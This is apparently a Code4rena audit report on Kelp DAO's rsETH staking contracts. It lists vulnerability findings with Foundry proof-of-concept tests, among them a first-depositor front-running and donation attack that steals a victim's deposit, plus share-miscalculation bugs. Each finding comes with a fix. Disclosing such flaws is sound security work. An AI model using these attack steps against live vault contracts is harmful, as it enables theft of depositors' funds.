Kelp DAO | rsETH - crack-the-kelp's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L136-L141

Vulnerability details

Impact

LRTDepositPool acts like a vault contract which mints rsETH tokens as shares to depositors. Each rsETH tokens represents the ownership of funds of the depositors in LRTDepositPool contract. So, it is very important that LRTDepositPool allots right amount of rsETH shares corresponding to deposits of user. In current implementation, mechanism of calculating the issuance of rsETH tokens to mint is wrong. The current implementation is also considering the amount the user will be depositing as current balance while calculating rsETH amounts to mint. This will lead to consequent depositors after first depositor gettning less number of shares than they should originally get.

Proof of Concept

Following is foundry POC

contract LRTDepositPoolTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;
    LRTOracle public lrtOracle;
    NodeDelegator public nodeDelegator;
    ILRTConfig public ilrtConfig;
    MockEigenStrategyManager public mockEigenStraregyManager;
    MockStrategy public mockStrategy1;
    MockStrategy public mockStrategy2;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();
        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
                address(contractImpl),
                address(proxyAdmin),
                ""
            );
        lrtDepositPool = LRTDepositPool(address(contractProxy));

        //deploy rsETH
        proxyAdmin = new ProxyAdmin();
        RSETH tokenImpl = new RSETH();
        TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy(
                address(tokenImpl),
                address(proxyAdmin),
                ""
            );
        rseth = RSETH(address(tokenProxy));

        //deploy lrtConfig
        proxyAdmin = new ProxyAdmin();
        LRTConfig lrtConfigImpl = new LRTConfig();
        TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy(
                address(lrtConfigImpl),
                address(proxyAdmin),
                ""
            );

        lrtConfig = LRTConfig(address(lrtConfigProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        // rseth.initialize(address(admin), address(lrtConfig));
        // add rsETH to LRT config
        // lrtConfig.setRSETH(address(rseth));
        // add oracle to LRT config

        // deploy LRTOracle
        ProxyAdmin proxyAdmin1 = new ProxyAdmin();
        lrtOracle = new LRTOracle();
        TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy(
                address(lrtOracle),
                address(proxyAdmin1),
                ""
            );
        lrtOracle = LRTOracle(address(contractProxy1));

        // deploy NodeDelegator
        proxyAdmin1 = new ProxyAdmin();
        nodeDelegator = new NodeDelegator();
        contractProxy1 = new TransparentUpgradeableProxy(
            address(nodeDelegator),
            address(proxyAdmin1),
            ""
        );
        nodeDelegator = NodeDelegator(address(contractProxy1));

        lrtConfig.initialize(
            admin,
            address(stETH),
            address(rETH),
            address(cbETH),
            address(rseth)
        );
        rseth.initialize(admin, address(lrtConfig));
        lrtOracle.initialize(address(lrtConfig));
        nodeDelegator.initialize(address(lrtConfig));
        lrtDepositPool.initialize(address(lrtConfig));

        mockEigenStraregyManager = new MockEigenStrategyManager();
        mockStrategy1 = new MockStrategy(address(stETH), 0);
        mockStrategy2 = new MockStrategy(address(stETH), 0);

        vm.startPrank(admin);
        lrtConfig.setContract(
            keccak256("LRT_DEPOSIT_POOL"),
            address(lrtDepositPool)
        );
        lrtConfig.setContract(
            keccak256("EIGEN_STRATEGY_MANAGER"),
            address(mockEigenStraregyManager)
        );
        lrtConfig.grantRole(keccak256("MANAGER"), manager);
        lrtConfig.setRSETH(address(rseth));
        vm.stopPrank();

        vm.startPrank(manager);
        lrtOracle.updatePriceOracleFor(
            address(stETH),
            address(new LRTOracleMock())
        );
        lrtOracle.updatePriceOracleFor(
            address(rETH),
            address(new LRTOracleMock())
        );
        lrtOracle.updatePriceOracleFor(
            address(cbETH),
            address(new LRTOracleMock())
        );
        // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether);
        // lrtOracle.updatePriceOracleFor(
        //     address(randomToken),
        //     address(new LRTOracleMock())
        // );
        vm.stopPrank();

        vm.startPrank(admin);
        lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1));

        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        address[] memory nodeDelegatorContracts = new address[](1);
        nodeDelegatorContracts[0] = address(nodeDelegator);
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts);
        vm.stopPrank();
    }

function test_wrong_shares() public {
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();

        vm.startPrank(manager);
        lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether);
        vm.stopPrank();

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), 5 ether);
        lrtDepositPool.depositAsset(address(stETH), 5 ether); //5000000000000000000 rsETH amount minted
        vm.stopPrank();

        vm.startPrank(bob);
        stETH.approve(address(lrtDepositPool), 5 ether);
        lrtDepositPool.depositAsset(address(stETH), 5 ether); //2500000000000000000 rsETH amount minted. The depositor should get same shares as the first depositor since they are depositing same amount.
        vm.stopPrank();
    }
}

## Tools Used
Manual review + foundry POC

## Recommended Mitigation Steps
Consider pulling funds after rsETH tokens are minted to the user or after the calculation of shares to mint is done. It is always better to follow checks-effects-interactions pattern where external call is always done after internal accounting.





## Assessed type

ERC4626

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52

Vulnerability details

Impact

Initial depositors(when vault is empty) can get griefed due to frontrunning attack leading them to get zero shares while attacker getting their deposits too. This is common attack vectors in vault contract.

Proof of Concept

Let's assume alice wants to deposit 10 ether when vault is empty.

Attacker can grief her by following steps:

1. Attacker deposits 1 wei and gets 1 share.
2. Before alice deposits 10 ether, attacker donates 10 ether to the pool.
3. Alice deposits 10 ether and get 0 shares.
4. Attacker's 1 share is worth 20 ether + 1 wei.

So, attacker got alice's deposits.

function test_grief_initial_depositor() public {
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();

        vm.startPrank(manager);
        lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether);
        vm.stopPrank();

        vm.startPrank(attacker);
        stETH.approve(address(lrtDepositPool), 1 wei);
        lrtDepositPool.depositAsset(address(stETH), 1 wei);
        stETH.approve(address(lrtDepositPool), 10 ether);
        stETH.transfer(address(lrtDepositPool), 10 ether);
        vm.stopPrank();

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(address(stETH), 10 ether); //0 shares minted to alice
        vm.stopPrank();
    }

Tools Used

Foundry POC

Recommended Mitigation Steps

Revert the transaction when 0 shares are to be minted.

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L70 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L49 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L84 https://github.com/code-423n4/2023-11-kelp/blob/main/src/NodeDelegator.sol#L122-L123

Vulnerability details

Impact

If there is update in strategy, getTotalAssetDeposits(asset) will reduce for asset. Because it checks for the assets deposited in NodeDelegator. NodeDelegator.getAssetBalance() will check for asset balance for the strategy of the user. If strategy is updated, then the balance of old strategy won't be taken into account which will reduce the totalDeposits. This will reduce the rsETH share price and cause more rsETH shares to be minted for the depositors. Thus, depositors can immediately deposit and their shares are worth more than their deposit.

Proof of Concept

contract LRTDepositPoolTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;
    LRTOracle public lrtOracle;
    NodeDelegator public nodeDelegator;
    ILRTConfig public ilrtConfig;
    MockEigenStrategyManager public mockEigenStraregyManager;
    MockStrategy public mockStrategy1;
    MockStrategy public mockStrategy2;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();
        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
                address(contractImpl),
                address(proxyAdmin),
                ""
            );
        lrtDepositPool = LRTDepositPool(address(contractProxy));

        //deploy rsETH
        proxyAdmin = new ProxyAdmin();
        RSETH tokenImpl = new RSETH();
        TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy(
                address(tokenImpl),
                address(proxyAdmin),
                ""
            );
        rseth = RSETH(address(tokenProxy));

        //deploy lrtConfig
        proxyAdmin = new ProxyAdmin();
        LRTConfig lrtConfigImpl = new LRTConfig();
        TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy(
                address(lrtConfigImpl),
                address(proxyAdmin),
                ""
            );

        lrtConfig = LRTConfig(address(lrtConfigProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        // rseth.initialize(address(admin), address(lrtConfig));
        // add rsETH to LRT config
        // lrtConfig.setRSETH(address(rseth));
        // add oracle to LRT config

        // deploy LRTOracle
        ProxyAdmin proxyAdmin1 = new ProxyAdmin();
        lrtOracle = new LRTOracle();
        TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy(
                address(lrtOracle),
                address(proxyAdmin1),
                ""
            );
        lrtOracle = LRTOracle(address(contractProxy1));

        // deploy NodeDelegator
        proxyAdmin1 = new ProxyAdmin();
        nodeDelegator = new NodeDelegator();
        contractProxy1 = new TransparentUpgradeableProxy(
            address(nodeDelegator),
            address(proxyAdmin1),
            ""
        );
        nodeDelegator = NodeDelegator(address(contractProxy1));

        lrtConfig.initialize(
            admin,
            address(stETH),
            address(rETH),
            address(cbETH),
            address(rseth)
        );
        rseth.initialize(admin, address(lrtConfig));
        lrtOracle.initialize(address(lrtConfig));
        nodeDelegator.initialize(address(lrtConfig));
        lrtDepositPool.initialize(address(lrtConfig));

        mockEigenStraregyManager = new MockEigenStrategyManager();
        mockStrategy1 = new MockStrategy(address(stETH), 0);
        mockStrategy2 = new MockStrategy(address(stETH), 0);

        vm.startPrank(admin);
        lrtConfig.setContract(
            keccak256("LRT_DEPOSIT_POOL"),
            address(lrtDepositPool)
        );
        lrtConfig.setContract(
            keccak256("EIGEN_STRATEGY_MANAGER"),
            address(mockEigenStraregyManager)
        );
        lrtConfig.grantRole(keccak256("MANAGER"), manager);
        lrtConfig.setRSETH(address(rseth));
        vm.stopPrank();

        vm.startPrank(manager);
        lrtOracle.updatePriceOracleFor(
            address(stETH),
            address(new LRTOracleMock())
        );
        lrtOracle.updatePriceOracleFor(
            address(rETH),
            address(new LRTOracleMock())
        );
        lrtOracle.updatePriceOracleFor(
            address(cbETH),
            address(new LRTOracleMock())
        );
        // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether);
        // lrtOracle.updatePriceOracleFor(
        //     address(randomToken),
        //     address(new LRTOracleMock())
        // );
        vm.stopPrank();

        vm.startPrank(admin);
        lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1));

        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        address[] memory nodeDelegatorContracts = new address[](1);
        nodeDelegatorContracts[0] = address(nodeDelegator);
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts);
        vm.stopPrank();
    }

function test_update_strategy_cause_wrong_minting_of_shares() public {
        //NOTE: comment line 207-211 in setup for this
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();
        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(address(stETH), 10 ether); //NOTE: 10000000000000000000 rsETH amount minted
        vm.stopPrank();
        vm.startPrank(manager);
        lrtDepositPool.transferAssetToNodeDelegator(
            0,
            address(stETH),
            10 ether
        );
        vm.stopPrank();
        vm.startPrank(admin);
        lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy2));
        lrtConfig.updateAssetStrategy(address(rETH), address(mockStrategy2));
        lrtConfig.updateAssetStrategy(address(cbETH), address(mockStrategy2));

        vm.stopPrank();
        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(address(stETH), 10 ether); //NOTE:   2500000000000000000 rsETH amount minted even after fixing deposit bug
        vm.stopPrank();
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

While updating the strategy, ensure that balance deposited in previous strategy for same asset is accounted while minting the shares.

Assessed type

ERC4626

    function updateAssetStrategy(
        address asset,
        address strategy
    )
        external
        onlyRole(DEFAULT_ADMIN_ROLE)
        onlySupportedAsset(asset)
    {
        UtilLib.checkNonZeroAddress(strategy);
        if (assetStrategy[asset] == strategy) {
            revert ValueAlreadyInUse();
        }
        assetStrategy[asset] = strategy;
    }

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L49 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L84 https://github.com/code-423n4/2023-11-kelp/blob/main/src/NodeDelegator.sol#L122-L123 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L47-L51

Vulnerability details

Impact

getTotalAssetDeposits for an asset will reduce less value once there is an update in the strategy because asset balance of eigen layer staked for the new strategy will be 0 and the asset balance for old strategy is not accounted for in the contract. So, getTotalAssetDeposits will be less which means the total amount of particular asset deposited in deposit pool contract can exceed the deposit limit for that asset.

Proof of Concept

POC not needed

Tools Used

Manual review

Recommended Mitigation Steps

Consider taking the balance deposited by previous strategy into account in calculation of getTotalAssetDeposits.

Assessed type

ERC4626

Impact

Asset price is fetched from assetPriceOracle[asset]. If it is not set, depositAsset function will not work as following call will revert due to call to address(0).

IPriceFetcher(assetPriceOracle[asset]).getAssetPrice(asset);

Proof of Concept

contract LRTDepositPoolTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;
    LRTOracle public lrtOracle;
    NodeDelegator public nodeDelegator;
    ILRTConfig public ilrtConfig;
    MockEigenStrategyManager public mockEigenStraregyManager;
    MockStrategy public mockStrategy1;
    MockStrategy public mockStrategy2;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();
        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
                address(contractImpl),
                address(proxyAdmin),
                ""
            );
        lrtDepositPool = LRTDepositPool(address(contractProxy));

        //deploy rsETH
        proxyAdmin = new ProxyAdmin();
        RSETH tokenImpl = new RSETH();
        TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy(
                address(tokenImpl),
                address(proxyAdmin),
                ""
            );
        rseth = RSETH(address(tokenProxy));

        //deploy lrtConfig
        proxyAdmin = new ProxyAdmin();
        LRTConfig lrtConfigImpl = new LRTConfig();
        TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy(
                address(lrtConfigImpl),
                address(proxyAdmin),
                ""
            );

        lrtConfig = LRTConfig(address(lrtConfigProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        // rseth.initialize(address(admin), address(lrtConfig));
        // add rsETH to LRT config
        // lrtConfig.setRSETH(address(rseth));
        // add oracle to LRT config

        // deploy LRTOracle
        ProxyAdmin proxyAdmin1 = new ProxyAdmin();
        lrtOracle = new LRTOracle();
        TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy(
                address(lrtOracle),
                address(proxyAdmin1),
                ""
            );
        lrtOracle = LRTOracle(address(contractProxy1));

        // deploy NodeDelegator
        proxyAdmin1 = new ProxyAdmin();
        nodeDelegator = new NodeDelegator();
        contractProxy1 = new TransparentUpgradeableProxy(
            address(nodeDelegator),
            address(proxyAdmin1),
            ""
        );
        nodeDelegator = NodeDelegator(address(contractProxy1));

        lrtConfig.initialize(
            admin,
            address(stETH),
            address(rETH),
            address(cbETH),
            address(rseth)
        );
        rseth.initialize(admin, address(lrtConfig));
        lrtOracle.initialize(address(lrtConfig));
        nodeDelegator.initialize(address(lrtConfig));
        lrtDepositPool.initialize(address(lrtConfig));

        mockEigenStraregyManager = new MockEigenStrategyManager();
        mockStrategy1 = new MockStrategy(address(stETH), 0);
        mockStrategy2 = new MockStrategy(address(stETH), 0);

        vm.startPrank(admin);
        lrtConfig.setContract(
            keccak256("LRT_DEPOSIT_POOL"),
            address(lrtDepositPool)
        );
        lrtConfig.setContract(
            keccak256("EIGEN_STRATEGY_MANAGER"),
            address(mockEigenStraregyManager)
        );
        lrtConfig.grantRole(keccak256("MANAGER"), manager);
        lrtConfig.setRSETH(address(rseth));
        vm.stopPrank();

        vm.startPrank(manager);
        lrtOracle.updatePriceOracleFor(
            address(stETH),
            address(new LRTOracleMock())
        );
        lrtOracle.updatePriceOracleFor(
            address(rETH),
            address(new LRTOracleMock())
        );
        lrtOracle.updatePriceOracleFor(
            address(cbETH),
            address(new LRTOracleMock())
        );
        // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether);
        // lrtOracle.updatePriceOracleFor(
        //     address(randomToken),
        //     address(new LRTOracleMock())
        // );
        vm.stopPrank();

        vm.startPrank(admin);
        lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1));

        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        address[] memory nodeDelegatorContracts = new address[](1);
        nodeDelegatorContracts[0] = address(nodeDelegator);
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts);
        vm.stopPrank();
    }

function test_oracle_not_set() public {
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();

        vm.startPrank(manager);
        lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether);
        vm.stopPrank();

        vm.startPrank(alice);
        stETH.approve(address(lrtDepositPool), 5 ether);
        lrtDepositPool.depositAsset(address(stETH), 5 ether); // deposit will fail because stETH oracle not set in oracle. lrtOracle.getAssetPrice(asset) will revert and no shares can be minted reverting the transaction.
        vm.stopPrank();
    }
}

Tools Used

Foundry POC

Recommended Mitigation Steps

Consider adding a check to ensure that call reverts with proper error message.

Use of override is unnecessary

As mentioned by the bot report: Starting with Solidity version 0.8.8, using the override keyword when the function solely overrides an interface function, and the function doesn't exist in multiple base contracts, is unnecessary.

The report mentions that exists 13 instances of this issue but it missed the one at:

File: src/LRTOracle.sol

20: 		        mapping(address asset => address priceOracle) public override assetPriceOracle;

[20]

Missing function declaration in interface

The interface INodeDelegator is missing the declaration of the transferBackToLRTDepositPool function, implemented in NodeDelegator. Consider declaring all functions in the interface as it improves readability.

Redundant check for zero address

In the initialize function, the internal functions _setToken and _addNewSupportedAsset ensure that the asset is not set to the zero address. To save gas during initialization, consider removing these lines:

File: src/LRTConfig.sol

52: 		    UtilLib.checkNonZeroAddress(stETH);
53:                 UtilLib.checkNonZeroAddress(rETH);
54:                 UtilLib.checkNonZeroAddress(cbETH);;

[52, 53, 54]

Accidentally add repeated address in nodeDelegatorQueue array

The admin might accidentally include the same address more than once in the input array. Since there's no check for duplicates, the function would add the same address multiple times. Consider including a check that prevents the same address from being added to the nodeDelegatorQueue more than once.

File: src/LRTDepositPool.sol

170: 		        nodeDelegatorQueue.push(nodeDelegatorContracts[i]);

[170]

Lack of pausable functionality implementation

Even though the pause and unpause functions are implemented in the LRTOracle contract, there is no functionality that checks if the contract is paused or not. Consider using the functionality that inheriting from the PausableUpgradeable contract offers.

File: src/LRTOracle.sol

19: 		        contract LRTOracle is ILRTOracle, LRTConfigRoleChecker, PausableUpgradeable {

[19]